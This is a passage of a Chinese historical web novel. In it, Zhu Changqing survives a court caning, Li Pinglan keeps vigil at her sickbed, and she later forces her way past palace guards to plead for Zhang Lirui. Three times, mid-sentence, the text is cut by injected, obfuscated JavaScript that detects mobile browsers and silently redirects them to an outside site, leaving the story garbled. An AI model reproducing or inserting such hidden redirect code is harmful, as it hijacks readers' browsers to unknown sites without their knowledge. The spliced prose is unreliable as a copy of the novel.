虽说罚是罚了，可从这杖刑的数目上看，总有几分高高举起，轻轻落下的纵容意味。 鼻子灵的几个人精已经缓缓眯起了眼。 这是要变天的味道啊。 - 板子重重落下，打在腰臀处，泰山压顶般，只一下，便听见皮开肉绽的撕裂声。 祝常青疼着几乎两眼一翻，要晕过去。 然这只是开始，痛感还未随着时间消解半点，下一杖就紧接着斩下来了。 她差点将嘴里的一块软肉硬生生咬下来，血的味道在喉间弥漫开。 听觉和视觉都模糊了，只有腰臀上断开般的错觉冲击着她的大脑。 这痛是生猛的，黏着肉连着血，要把她拍成两段不可。 祝常青全身丧力，只能在心里一下一下地数着，打到第七杖时，下肢就已没了什么知觉，她疑心自己是不是要瘫了。 最后三杖甚至都没那个心力再去数，只能像个死人般躺在刑凳上，任人宰割。 等涣散的意识凝聚一些，疼痛重新席卷而来时，她意识到自己的杖刑已经结束了。 耳边那锤击皮肉的声响，是张立瑞的。 人在忍受极端的疼痛时，全身的器官都仿佛会静止，连思绪也是四散而凝固的，少动一下，就少痛一分。 又过了不知多久，张立瑞的行刑也停了。 她艰难地把头侧过去，牵动了哪块肌肉，一阵撕心裂肺的痛。 朦胧的泪花之中，她看见张立瑞被内侍左右搀扶着，下了刑凳，看那架势，似乎是要向自己走来。 他每动一下，祝常青便感同身受地疼一次，赶忙虚弱地用气声制止：“有什么话下次再说。” 张立瑞压根听不清，只能看见她的嘴皮在动，还是得了内侍的传话后才木讷地点点头，转身，一瘸一拐地朝宫外走去。 真能忍疼啊。祝常青在心里想。 若谁现在敢叫她动一分，等她好了，必定抢了板子往那人身上使劲伺候。 祝常青如愿地在原地躺了好一会，初升的暖阳晒在人身上，格外舒服，如果她此刻的形象没那么难堪的话就更好了。 在她迷迷糊糊要伴着疼痛入梦前，有个小太监附到她耳边：“祝娘子，该回了，大人们马上下朝，会冲撞。” 祝常青脑子不清醒，竟想冲他摆手，大臂刚抬起半 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14447731|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寸，撕扯的疼痛即刻叫她清醒过来，咬着牙回：“不用避。” 戏都做了，不给看客瞧瞧怎么行。 她被打成这幅惨状，若是冯党没能看到，她是一定会死不瞑目的。 “可……”那小太监担忧道，“您身后还淌着血呢，奴才怕您失血过多，对身子不好。” 她今日一身绯裙，血色融在衣料里头，难为他还能分清。 祝常青也没料到自己此刻还能有心思说笑：“不必担忧，我前些日子吃过红枣，补血的。” 小太监闻言便悻悻闭上嘴，重新走回旁边垂首候着。 祝常青觉得他一定是以为自己的脑袋被打坏了。 半柱香后，太和殿内的官员鱼贯而出。 行刑场地就在殿外不远的一片空地上，大臣们从龙纹石台阶两侧走下，一打眼便能瞧见那躺在刑凳上的绯衣女子。 好在也隔着百余尺的距离，没人会愿意触这个霉头，纷纷绕道而行。 祝常青眼皮疲惫地耷拉着，听不清那些官员的议论声，思索起等人都走光了，她要怎么回家才好。 耳边却忽然传来一道不怎么轻盈的脚步声，她警醒地睁开眼，眼珠左右动了动，没抬头。 含笑的嗓音从上方传来，与她那日在刑部门口听到的别无二致：“祝娘子可还安好？” 祝常青扯了扯嘴角，憋着气试图忍下疼痛，稳住声线道：“小冯大人见谅，今日殿上多有得罪，眼下有伤在身，不能给大人行礼了。” 冯决方颇为爽朗地笑了两声，体谅道：“这倒是小事。不过在下前两日好容易得闲，记挂着祝娘子，特意跑了趟逢泽馆，那里的掌柜却言祝娘子确实去喝过茶，只是没将帐赊给在下。” 祝常青心中冷笑。 冯氏的示好手段当真独特，用赊账表示结交的，她还是头一回见。 语气却仍是和善温顺的：“当日小女原是忘了带钱，好在友人一向阔绰，顺手结了账，不敢让小冯大人破费。” 京城就是这般，明明互相厌弃，明明才较着劲两败俱伤，出了太和殿，却还是要作一副兄友弟恭的样子。 “如此。”半晌，上方才传来冯决方轻柔却透着冷意的声音，“是在下唐突，那就不打扰祝娘子了，告辞。” 等脚步声远到无法辨别，祝常青才卸下全身的力气。 心里骂着：冯决方这杀千刀的笑面虎，非要在这时候来和她周旋，绝对是安了活活耗尽她心力的念头。 本就残破的躯体被这样折腾了一番，她立觉有些不对劲。 身上一阵冷一阵热地交替起来，头晕目眩，耳边似有钟笛长鸣。 她支撑不住，手臂落下了刑凳，在两边无力地晃荡。 一旁的太监意识到什么，赶忙上前查看，发觉祝常青已经闭上眼，怎么唤都不应了。 他慌张地要喊人，刚抬头，却发现不知何时又有一绯袍官员走近。 垂落的手臂边有布料很轻地蹭过，祝常青猛然睁开眼，用尽最后的力气抓住来人的衣摆。 她总算是抬起了头，仰着脖子的姿势很难发声，恶狠狠地盯着那人寡淡的神色。 从嘴角挤出一句话：“李凭栏，我做鬼也不会放过你。” 15. 十五章 说完，祝常青便像是被抽去了全身筋骨一般，直直地栽倒下去。 李凭栏蹙眉，伸手扶住她的肩头，让她的脸不至于磕撞在刑凳上。 掀了掀眼皮，对一旁的内侍冷冷道：“备轿撵，传太医。” 小太监得令，半刻也不敢耽搁，赶紧去传唤。 诺大的空地里只剩下他们二人，李凭栏垂眸，看似随意地打量起被他半揽着的姑娘。 祝常青脸色煞白，又偏偏今日穿了一身红衣，相称之下更显可怖，恍若话本里常写的鬼新娘。 她两鬓不停地往外冒着冷汗，打湿发丝，呼吸轻得看不见起伏，若非掌心里不断传来她滚烫的体温，李凭栏都要怀疑这人到底还有没有气儿。 他握在祝常青肩头的手不自觉加重了几分力道，心中竟升腾起一种陌生的焦躁，抬头四下观望了一圈。 怎么还没人来。 他并没有对自己的急切之情起任何疑心。 祝常青于他而言，是一颗重要的、正在慢慢走上正轨的棋子，在他的计划里，她绝不该折损在此。 可她看起来好像真的要死了。 就连方才用尽全力对他说的狠话，都像是一句遗言。 他用指尖很轻地将她额前粘连的碎发拨到耳后，声音低得如同喃喃自语：“你暂时还是先不要做鬼的好。” 太和殿外的长道上，杜宸安走得格外缓慢，失魂落魄的，几乎跟在所有大臣的最后头。 他低垂着脑袋，眼中无半点神采，不知在想些什么。 没一会儿，又忽然反常地疾走起来，横冲直撞，接连冒犯了好几位大人。 “宸安！”连同一声呵斥，他的臂膀被人按住，不得不停下脚步。 杜宸安有些茫然地看向那只手的主人，随后呢喃道：“父亲……” 知子莫若父，看着自己儿子丢三魂少七魄的样子，杜凌就知道他在想什么，将人带至偏远些的地方，无奈叹口气：“你明明是清楚的，她不肯入杜府，你就护不住她，何必如此。” 你护不住她。 从祝常青回京开始，桩桩件件，都在告诉他这个事实。 别说护了，有时候，杜宸安甚至都跟不上她。 不知道她在想什么，不知道她要做什么，等事情已经结束了，他才有机会舍掉一双膝盖替她求情，却也无济于事。 杜尚书拍了拍他的肩，宽慰道：“陛下要她卖命，谁能有办法呢。她自小聪慧，待你如亲兄长，才不愿拖累你。” 拖累。 拳头在身侧不甘地攥紧，杜宸安心中堵着一团郁气，下不去也上不来，梗塞着他的呼吸，叫他必须反复挣扎。 突然间，他仿佛下了多大的决心，坚定地看向面前的父亲：“我是护不了她，但我会助她。” - 祝常青俯卧在步舆上，被内侍们抬进院子里时，丹珠吓得打碎了手里的一个瓶。 李凭栏和太医面色凝重地跟着进来，她哪里见过这样的场面，顿时觉得自家娘子大概是不好了，两行清泪唰一下就落了下来。 哭归哭，她脑子却还清醒，帮着内侍打开里屋的门，然后“扑通”一声跪到李凭栏脚边，连磕了三个响头。 李凭栏的眉头自打出宫起就没松开过，闭了闭眼道：“跟着太医进去，你家娘子还没死呢。” 总算有句准话，丹珠腿脚都软了，仍连滚带爬地撑起来，往里屋奔去。 李凭栏环视了一圈这十分清净的院子，从怀里摸出一锭银子，抛给边上呆愣着的小厮，吩咐：“去医馆里找个女医来。” 等小厮磕磕绊绊地跑出了门，宫里的小太监打道回府，里屋的大门被丹珠合上，整个院里便只剩下李凭栏一人。 他寻了把石凳坐下，心口也像是随着下坠的动作陷落了一块。 视线停留在虚无的半空中，李凭栏突然想走回去。 离开这个院子，走回皇宫，走回太和殿，走回祝常青还跪在那里不卑不亢请赐的时候。 可又有什么用呢？ 祝常青这顿板子是不能不打的，必须用她的一身伤来证明陛下的不偏不倚，来出冯党的一口恶气。 那不如再往前走，走回寅时，她还在刑部大门前的时候，告诉她不要去皇宫，也别把手里的宫灯递给她…… “砰”一声。 院门被打开，小厮带着女医火急火燎地回来了。 李凭栏猛然醒过神，他也不知道自己在想什么。 疯了吧，这可不是想一出是一出的儿戏。 与此同时，丹珠从里屋破门逃了出来，两手染得血红，浓郁的血腥味混杂着草药气息被带进院子里。 她双手无处安放，一边往角落里跑，一边无法遏制地弯腰干呕着，眼泪和唾液混杂在一起。 女医见状不再多礼，跨着药箱进了寝屋，小厮不放心地去查看丹珠的情况。 “太医如何说？” 等丹珠收拾好自己，准备重新回去帮忙时，身后冷不丁传来李凭栏的声音。 不问倒还好，他这么一问，好不容易止住泪的丹珠又无声地哭起来，摇头哽咽：“回世子，不大好，已是进气多出气少。” “知道了。”李凭栏没什么情绪地点头，“你进去吧。” 血水一盆一盆地往外端出来，那气味简直令人头昏脑胀。 小厮帮不上里面的忙，只好接过丹珠送出来的污秽，晕血似的闭眼屏息，跑到院外把东西给泼了。 李凭栏想，他也没必要再待下去了。 一枚棋子，丢了就丢了吧。 世事难料，谁又能算无遗策呢。 只要能把这盘棋下完，天下棋子要多少有多少，用一颗丢一颗，有何不可？ 他从来都是这样想的，却在提脚跨过门槛前迟疑了很久。 他不知道那席卷而来的无力感究竟是因何缘故，他只知道自己不会为了一点变故停下这么久的步子，尽快找到下一枚棋子才是他眼下最应该做的。 “世子。”太医在这时缓步走了出来，对着李凭栏的背影做了一礼。 他理所应当地不再迈步，转身时却几不可查地握了一下门框：“如何？” 太医摇了摇头，李凭栏拘在身后的左手下意识曲起，缓慢地眨了一次眼，看起来接受良好。 却听那太医又道：“血已经止住了，不过脉象虚弱，游离一线，只能尽人事，听天命了。” “好。”他依旧波澜不惊，淡淡吐出一个字，转身离开前又突然想起什么，反常地问了个无关紧要的问题：“她左手腕上的伤呢？” 太医没料到他会提起此事，愣了愣，答道：“祝娘子手上的伤已经痊愈多时，不过落了点疤痕罢了。倒是髌骨损伤极重，若…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14467224|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祝娘子吉人自有天相，醒来后不宜再伤膝。” 痊愈多时？ 这答案在李凭栏的意料之外，但细想来，也是情理之中。 整整月余，那伤虽狰狞可怖，却不到见骨的地步，认真调养便能快速好全。 所以。 是在装可怜？ 十分不合时宜的，他在心底荒唐地轻笑了一声。 祝常青那点狡猾而显得拙劣幼稚的手段，在她命悬一线地昏迷时，猝不及防地被铺陈在眼前。 无比鲜活的，让人无端品出几分可怜可爱的，却要握不住地逝去了。 棋子，也要挑顺手顺眼的用吧？李凭栏想。 他的目光从虚掩着门的里屋扫过，落在面前的太医脸上，不容置喙地下达死命令：“无论如何，救活她。” - 刑部这几日真是沸反盈天。 张立瑞身负皇命，从刑场里出来还没歇过半刻，就带伤上岗，毫不手软地抓了一干户部官吏，上至五品郎中，下至未入流的芝麻官，那叫一个雷霆手段。 他性子素来不合群，与刑部里不少同僚都有些龃龉，如今显了这么大一通威风，难免有人眼红。 打抱不平似的找到李凭栏，话里话外都是说这张立瑞得了皇恩，眼睛彻底长去了头顶，把规矩忘了个干净，连堂官大人都不放在眼里了。 李凭栏冷笑，斜睨了眼他这帮下属，一个个鼠头鼠脑，越看越糟心。 什么世道，还有人挑起张立瑞的规矩来了。 他将手中的公文合上，眼都不抬，冷冷道：“本官最近太纵容你们了？官司都敢带到我头上来断了。” 一群人霎时清醒过来，他们叫那新晋的小阎罗迷了眼，怎的忘了，这位才是真阎王！ 个个立马噤声，自行领罚后识趣地四散了。 正是放值的时刻，李凭栏将案上公文整理妥当，方出值房，就见小阎罗张立瑞立在阶前，也不知等了多久。 “何事？”李凭栏走近，问道。 张立瑞端正行了个礼，将手上三包东西恭敬递出去，头低得不能再低：“下官想烦请大人将这些红枣送到祝娘子手中。” 祝常青奄奄一息、仍在昏迷的消息闹了个满朝皆知。 为此，冯党即便沾了一身腥，整日还是一副威风凛凛的样子，就差在脸上用大字写着：犯我冯党者，必死无疑。 李凭栏接过那三包物什，用两指提着，没什么重量，于是将目光重新转回张立瑞脸上：“怎么不自己给她？” 张立瑞字字铿锵：“蜀平之案一日不结，下官一日无颜面对祝娘子。” 做人脸皮还是要厚一些，李凭栏轻轻拨弄着挂在指尖的麻绳，一边晃悠悠地往城郊小宅走去，一边在心里想。 蜀平这笔糊涂账，尚且说不清张立瑞和祝常青究竟是谁拖累了谁，就觉得无颜相见。 他这个明面上的直接凶手反倒心安理得，带着别人的礼前去探望了。 思绪飘飞，脚下步子也跟着轻快，一连转过好几个街角。 和那扇小院门一同出现在李凭栏视野里的，还有一辆架势气派的马车。 他眯了眯眼，脚步放缓，心中有了猜测。 果不其然，再往前迈两步，便看到丹珠站在院门前，与一翩翩公子说着什么。 绿袍玉冠，不是杜宸安又是谁。 16. 十六章 李凭栏停脚，离那院子的距离已经很近了。 可惜丹珠与杜宸安交谈得太过认真，谁也没注意到他。 受了冷落的李世子索性抱着双臂，将身子靠于边上的树干，静静观望。 半盏茶的功夫，小厮从杜府的马车上抱下来数十只红木匣子，里头装的估计是各式名贵药材。 而杜宸安呢，从始至终只在院门口立着，全然没有要进去看一眼的意思。 两人又说了好一会儿的话，杜宸安才打算离开，方转身，视线就和不远处的李凭栏撞上。 他动作顿了顿，脸色沉下来，看向那人的眼神不算友善。 李凭栏见自己终于被发现，朝他们轻松地笑了笑，迈步上前。 “你怎么来这儿？” 李凭栏尚未站定，杜宸安便戒备心十足地问道。 他二人虽说不上如何亲厚，但也是自小一块长大的，情谊是比旁人要深些。 李凭栏身份非凡，却极少在他面前摆架子，杜宸安更不是那种不懂礼数之人，平常言行举止间都会敬他三分。 今日眼里倒是明晃晃地摆着敌意， 李凭栏没计较他的不待见，一如既往勾着唇，冲他晃了晃手里的东西：“给祝娘子送药来了。” 杜宸安淡淡掀了一眼：“哦？不知世子带来的是人参还是虫草？” “这些好东西不是有杜公子安排吗。”李凭栏终于被他的不依不饶磨去了笑意里的亲和，毫不汗颜道，“我来送红枣。” 他话毕便收回目光，刚要往院子里走，却被杜宸安眼疾手快地拦下。 李凭栏彻底没了好脸色，冷冷扫去一眼，懒得再开口，用眼神质问他还有什么事。 杜宸安被他这副理所当然的模样惹得不悦，正声道：“她如今虽是孤女，但也未曾出嫁，这院子可算作她的闺房，外男岂可如入无人之境？” 李凭栏嗤笑一声：“你在迁怒我。” 他目光如短刃，毫不手软地刺去：“但你不若仔细想想，你我有什么很大的差别吗？左不过是我顺着圣意做事，而你心有不服，却无能为力。连她自己都知道，在京城，留条性命已经是万幸，至于旁的虚名，等她醒了，你亲自去问问，她在乎吗？” 杜宸安咬着牙道：“可在殿上，你也没打算给她留下性命。” 李凭栏心累地叹了口气：“我问你，她何时晕的。” 杜宸安：“昨日辰时。” “而你送药材来是在今日酉时。”李凭栏淡淡道，“她能撑到现在，靠的是神仙灵丹么？明知道我不想叫她丢命，何必得了便宜还卖乖。” 见杜宸安哑口无言，李凭栏心情大好地把手上三包红枣提起来，在他眼前晃了晃，然后光明正大地踏进小院。 在一旁低头屏气的丹珠总算能够起身，为难地在两人之间来回打量，只好先送走杜宸安，然后忙不迭地往回赶。 娘子家的清誉可不是那两位公子哥逞一逞口舌之快就能无忧的，她这个做丫鬟的可不得盯紧些。 好在李凭栏还没有破罐子破摔地不把礼法放在眼里。 他虽轻车熟路地进了里屋，但将屋门大敞，还把丹珠叫进来问话。 祝常青躺在榻上，帷帐牢牢掩着，瞧不见半分身影。 “早上太医来过了？”他把红枣放到桌上，在桌边坐下，问道。 “是。”丹珠应答。 她怕自家娘子再染风寒，又不好把门合上，于是将窗户放下，进帷帐后头给祝常青添了床薄被。 等丹珠忙完一串，李凭栏已经解开了系在纸包上的麻绳，挑了颗饱满的红枣扔进嘴里，接着问：“太医怎么说？” 丹珠：“太医说脉象已经稳下来了，可十分虚滑，虽暂无性命之忧，却无法判定何时能醒。” 李凭栏：“身上的伤口呢？” 丹珠：“按照太医吩咐一日换两次药，半月余才能好。” 两人一问一答十分流畅。 李凭栏了然地点头：“杜宸安送来的药能用的就全用了。” 丹珠恭敬称是，见他似乎没有要再问话，默默退远了些。 屋内静悄悄的，全然不像有三个大活人聚在一起的样子，只有微乎其微的咀嚼声缓慢地飘着，是李凭栏在吃红枣。 丹珠心有疑惑：这红枣不是世子送来的药材吗，怎么反倒像是他给自己带的零嘴。 李凭栏不大能吃甜，吐了几颗枣核后也就腻了，向丹珠讨了碗茶清嘴，没待多久便离开了。 后来一段时日，李凭栏偶尔还是会来这院子。 两手空空地什么也不提，往屋里一坐就要丹珠把红枣拿来，一边问话一边剥着枣肉解馋。 也不贪嘴，吃个三四颗就起身，走得十分干脆。 这头祝常青还不管不顾地晕在梦里，那头的张立瑞已经将蜀平一案的结果递到御案前，只等圣裁。 三日后，李凭栏带着宫里的内侍浩浩荡荡去了祝常青的院子。 他脸上喜忧难辨，在马车内揉着眉心。 春末夏初的时节，风里都捎了暖意，这气候却叫人心隐隐躁动起来，各人有各人的不顺。 圣裁已落，却少了那关键一人，该想想这事要怎么收尾了。 “世子，地方到了。”太监在马车外轻声细语地提醒。 李凭栏掀帘下车，抬手示意他们都在外头等着。马车停靠的动静不小，院门只虚掩着，丹珠却没出来查看。 他下意识地蹙了蹙眉，这倒也不是什么大事，可心中反常地升腾起一种怪异的直觉。 神佛鬼怪之谈，他一向不大迷信，可越过低低的门槛，望见院内一对主仆时。 李凭栏恍然惊觉，这世间大多数人所讲求的天意，其实并非全无道理。 院外栽种一棵樟树，无人看管，正是逐渐茂盛的季节，连片的枝叶已经攀过墙头，伸进院内。 祝常青就坐在那树荫之下，肩上披着时下已经过于厚重的大氅，出神地望着墙那边的风景。 蹲在她身侧捣鼓草药的丹珠先注意到门口的来人，惊了一跳，赶忙起身迎接：“世子恕罪。” 李凭栏往里走两步，发觉祝常青大病一场，反应似乎慢了很多。 她像是才听到丹珠的话，温吞地将头扭过来，目光有种难以言喻的苍白，看着李凭栏就像是看一个毫无记忆的陌生人。 无悲无喜，无惊无澜。 那种空无的神色在她脸上维持了很久。 久到李凭栏差点要以为她是不是得了离魂症，心都凉了半截时，祝常青突然露出一个尽力的笑容。 她没有起身，拱了拱手，做半个男子的揖礼，声音脆生生的亮：“世子金安。” 李凭栏便真的心安了，他竟然感到前所未有的踏实。 仿佛久行夜路的人有了个知根知底的同行者，虽然早已习惯在黑暗中摸索，可到底还是不一样的。 “什么时候醒的？”李凭栏不动声色地吞咽一下，问道。 祝常青又缓缓将头扭开了：“太医走后吧。好像睡了很久，耳边总有人吃东西似的，吵得不得安生。” 里屋专用来给祝常青养病，小厮不得进，丹珠伺候更是轻手轻脚，会在那里进食的，也只有李凭栏这无法无天的世子殿下了。 他忽略她的最后半句话：“是睡得够久的。” “世子今日怎有空来探望，蜀平之事如何？”祝常青恹恹地问。 脑子没变笨。 瞧着她那一阵风就能刮走的病态，李凭栏想，还真是遭罪啊。 “证据确凿，涉案十余人皆按律处置，张立瑞查贪有功，调任佥都御史，陛下也赏了你。” 他话音刚落，在门外等候已久的内侍就鱼贯而入，一个个手举承盘，白花花的银子能闪了人的眼。 祝常青却没有多大兴致。 钱这东西，还得有命花才行。 她尚且不知李凭栏在她昏迷时已是这院子里的常客，以为他无事不登三宝殿，今日来必定不止赏赐这么简单。 于是问道：“张主事呢？我要见他。” “如今该叫张御史了。”李凭栏笑眯眯地纠正她，然后平淡地回答，“在正午门前跪着呢，有些时辰了。” 张立瑞是此事的大功臣，破格连晋两品，不知要叫天底下多少官僚看红了眼。 风头正盛的宠臣不在殿前谢恩，反在宫门请跪。 祝常青眼珠一转便能猜到个大概：“冯决方如何罚的？” 李凭栏笑意更甚，几乎有种讽刺的意味在里头：“御下不严，罚俸半年。” 祝常青恨不得两眼一翻再晕过去，这破事爱谁管谁管！ 她心肝一阵绞痛，气极反笑：“怎么？陛下若舍不得如此爱臣，何苦要叫旁人搭上性命演这一出。” 太医说她忧思不舒，肝气郁结，实在不宜操劳过度。 李凭栏张了张嘴，没发出声来，再开口时语调已经沉下去：“张立瑞是将剩余二十杖领完才跪的，我去看的时候人已经不大清醒了。” 逼，又是逼。 逼完了这头逼那头，还要逼着他们去反逼。 祝常青含恨地剜了李凭栏一眼，突然气血上涌，呕出一大口黑红的鲜血来。 丹珠吓得立马扑上去，哭着给祝常青擦血，手足无措地跪下朝李凭栏磕头。 “世子，求您了！饶过我家娘子吧！” 她不懂朝堂里的事，也听不明白两人你来我往之间的暗潮汹涌，她只知道自家娘子好不容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480825|153948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易才捡回一条命，她不想让她死。 祝常青撇过头吐掉嘴里的血，勉强站起来，硬拉着地上的姑娘起身：“丹珠，你别跪他。” 她脸色苍白，衬得沾染着鲜血的唇更为骇人，真像是阴曹地府里爬出来的女鬼。 李凭栏出神地想，她应该还没来得及吃那两包红枣。张立瑞是对的，祝常青是该吃点红枣，不然哪还有血能吐。 丹珠感到自家娘子连拽着她的力气都轻飘飘的，不敢让她费力，一骨碌就起来了。 “丹珠，你还是同以前一样，等我回来就成。”祝常青反撑着她的手臂让自己站稳。 丹珠闻言泪又滚了下来，她只怕自己再等回满身是血，昏迷不醒的娘子。 “只一条。”祝常青目光如炬地盯着面前的男人，“日后，我这院子，狗与李凭栏不得入内。” 说完她便甩袖往外走。 还没来得及离开的一干内侍个个大气不敢出。 安亲王府的世子是何等身份何等脾气，他们这些常在宫里御前行走的人是最清楚的。 祝常青方才那番话，就是指着鼻子骂他是牲畜，与太岁头上动土何异。 好在跟来的这帮内侍都是见过世面的老人，倘若换了新入宫的小太监，怕是能当场吓得跪地求饶。 在一片死寂中，他们总算察觉，世子似乎没有动怒。 祝常青从身旁擦肩而过时，他只淡淡道：“马车送祝娘子到刑部。” “又要劳烦世子吊着小女的一条性命了。” 冰冷刺耳的话被撂在身后，李凭栏闭了闭眼。 若上苍真的有灵，所谓老天兴许也不是个多有良心的善人。 否则为何偏偏叫她今日醒来，为何帮着他这样的凶恶权贵去作弄无辜。 - 这一路马车行得格外缓而平，似连半粒石子都不曾碾过。 嘴唇上的血迹干涸，成一片暗红，她索性抿了个干净。 刚从马车上走下，就见一心宽体胖的男子跨出刑部大门。 两人恰巧撞上，各自都愣了愣。 随后就听冯决方爽朗地笑起来，他今日倒是春风得意，喜上眉梢：“每每与祝娘子撞见，都是在这刑部大门。” 祝常青跟着笑一声，却显得力不从心，连礼都行得不大端正：“见过小冯大人。” 冯决方朝她挥挥手：“诶，祝娘子还同我讲这些虚礼做什么。在下竟不知祝娘子何时病好了？” “今早刚醒。”祝常青道，“小女也不知大人何时从刑部大牢里出来了。” 冯决方意味深长地挑了挑眉，看向她的目光里终于流露出一点真实的轻蔑，嘴角仍高高挂着。 “也不过今早的事。对了，祝娘子不如去看看张主事……”冯决方如梦初醒，轻轻拍打两下嘴，改口道，“该叫张御史了。他好歹与祝娘子有共刑的情谊在。” 祝常青明知故问：“哦？我来刑部就是想找张大人的，原不在吗，难道已经去了都察院？” 冯决方又仰头大笑起来，这一次笑得荡气回肠，令祝常青看着都嫌累。 “竟无人告知祝娘子吗？张御史刚领了二十杖，正在正午门外跪着哩！” 祝常青佯装无知，急问：“这是为何，张大人不是功臣吗？” 冯决方的笑彻底冷了，他将祝常青从头至尾打量了两眼，似乎要讥笑出“蠢货”二字来，低头理了理宽袖，悠转地叹了口气。 “说起来，这事儿祝娘子你真该好好劝劝张大人。不知他被哪个没心肝的蒙了心，公然与在下叫板，偏说我也贪污了钱财，天爷啊，我们冯家如何忠心耿耿，天下谁人不知？陛下念他有功，不好责罚，就令他跪着好好醒醒神。” “竟有此事！”祝常青作吃惊状，想了想，又不解，“可依我看，张大人廉洁奉公，也不是那等胡乱攀咬之辈，此事……” 两人各怀鬼胎，眼神如戏台上绕着圈对打的名角，交锋了一个来回，谁也不让谁。 冯决方陡然露出奸险的神情：“祝娘子莫不是觉得此事另有蹊跷？那不妨去御前告上我冯家一状，看看陛下是要罚我，还是将你打了板子扔去正午门！” 祝常青见他被激怒，便不再说话，只端起一个得体的微笑，瞧不出半点恶意。 冯决方怒火中烧。 见人说人话，见鬼说鬼话，这一招他自认已是炉火纯青，却在一个女子身上摔了跟头。 “女流之辈！”他一时间也装不下去，嗤笑一声想找回面子，然而祝常青依旧岿然不动。 在他落荒而逃般转身离开的一瞬，祝常青的唇角霎时落下，神情淡得像一潭死水。 她毫不在意地提裙重新上了马车，冷冷吩咐： “进宫。” 17. 十七章 空中不知何时飘起了雨丝，马车在正午门前缓缓减速，还没停稳当，祝常青就掀开帘子跳下。 地上太滑，她一个没站稳，踉跄着往前冲了两步，险些摔倒在地。 车夫吓得紧急勒停马车，差点跟着跳下来。好在她很快恢复了平衡，刻不容缓地大步往宫门走去。 远远地就瞧见，一干带刀侍卫前，跪着个清瘦的官员。 他如今已是四品大员，理应着绯袍，眼下却还是一身打着补丁的绿色官服。 兴许是急着见驾，不想耽误换衣的时间，亦或是不服圣上裁决，所以不肯接受恩赏。 张立瑞平日里见人一向谦卑得紧，连当初对着祝常青都要再三作揖行礼。 眼下受了刑罚跪着，腰杆却挺得格外直，只是身形不受控地左右晃悠，身下漫开一滩被雨水冲刷过，显得不那么鲜艳的血迹。 祝常青抹掉两颊的雨丝，在宫门侍卫前站定，张立瑞似有所感地缓缓睁开眼。 他已经没有抬头的力气，只好努力将视线往斜侧方瞥去，目光掠过女子的襦裙衣料。 “祝娘子。”他微弱地动了动双唇，呢喃着，瞬间就有雨丝飘进嘴里。 外班侍卫们瞧着面前来势汹汹的姑娘，谨慎又无措。 宫里宫外，京都之内，还有谁人不识祝常青。 十三岁获罪流放，五年后卷土重来，招安、入朝、弹劾、杖刑，哪一样不是惊天动地的大事。 然百姓将她作谈资，皇帝拿她当工具，京官们看不起她的女儿身，贵女们瞧不上她的品行，到头来依旧是个孤苦伶仃。 “让开。”祝常青冷声道。 侍卫们互相对上一眼，领头的神情肃穆，严词回绝：“非陛下召见不得进宫，恕我等不能从命！” 张立瑞情况已经不大好，祝常青不知道他还能撑多久，不想与任何人浪费口舌。 眉不耐地压低，眼中闪过狠戾。 几乎是刹那之间，冷光一现，她抽出了面前侍卫的佩剑。 手腕翻转用力，刀刃便轻巧地抵在了那领头侍卫的颈侧。 任谁也没料到她会有这样的动作，宫中侍卫亦不是吃素的，下一瞬，祝常青就被数柄利剑团团围住。 有人怒喝：“大胆女子！” 但她面上无半点惧色，仿佛那些随时能让她血流成河的威胁并不存在。 只盯着面前的男人，厉声道：“你们以为跪在这里的人是谁？圣上亲封的四品大员！我此番进宫就是为他呈情，圣意如此，尔等执意阻挠，非要叫他跪死在这，是何居心？” 她字字铿锵，比一众寒光闪闪的刀剑更能震慑人心。 剩余侍卫都是没主见的，一时唬住，只能看向被祝常青用剑要挟着的头儿。 那男子作深思状。 祝常青的耐心却不多了，她将剑又往里抵进几分。 眼看就要见血，侍卫赶忙抬起手，严肃道：“放行！” 不管祝常青说的是真是假，只要放她进去，一切罪责就有她在最前面担着。 但倘若固守宫规，把时间全耗在此处，张立瑞有任何好歹，只会拿他们是问。 不管砍多少个宫门侍卫的脑袋，可都换不回来一个四品御史。 想清楚利弊，领头的就立马松了口，只求不要再生出别的事端。 侍卫们听命，训练有素地在宫门前化作两列，手握剑柄，垂首低眸，恭迎她入宫。 祝常青手臂在身侧垂下，握着剑的手没有松开，反而攥得更紧，隐隐发抖。 腰后的伤口有崩裂的痛感。 她撑着步伐往里走，剑刃拖在地上，像是能劈开地砖，发出刺耳的声响。 那样子如同修罗。 余光之中，祝常青看见，张立瑞缓缓伏下身子，朝她拜倒。 - 乾清宫内，余公公端着步子走入。 “禀陛下，祝娘子已经进宫了。” 泰宁帝正提着笔批红，闻言不置一词，专心将手头的奏章看完。 倒是一旁刚换下湿衣，喝着热茶的李凭栏幽幽抬眸。 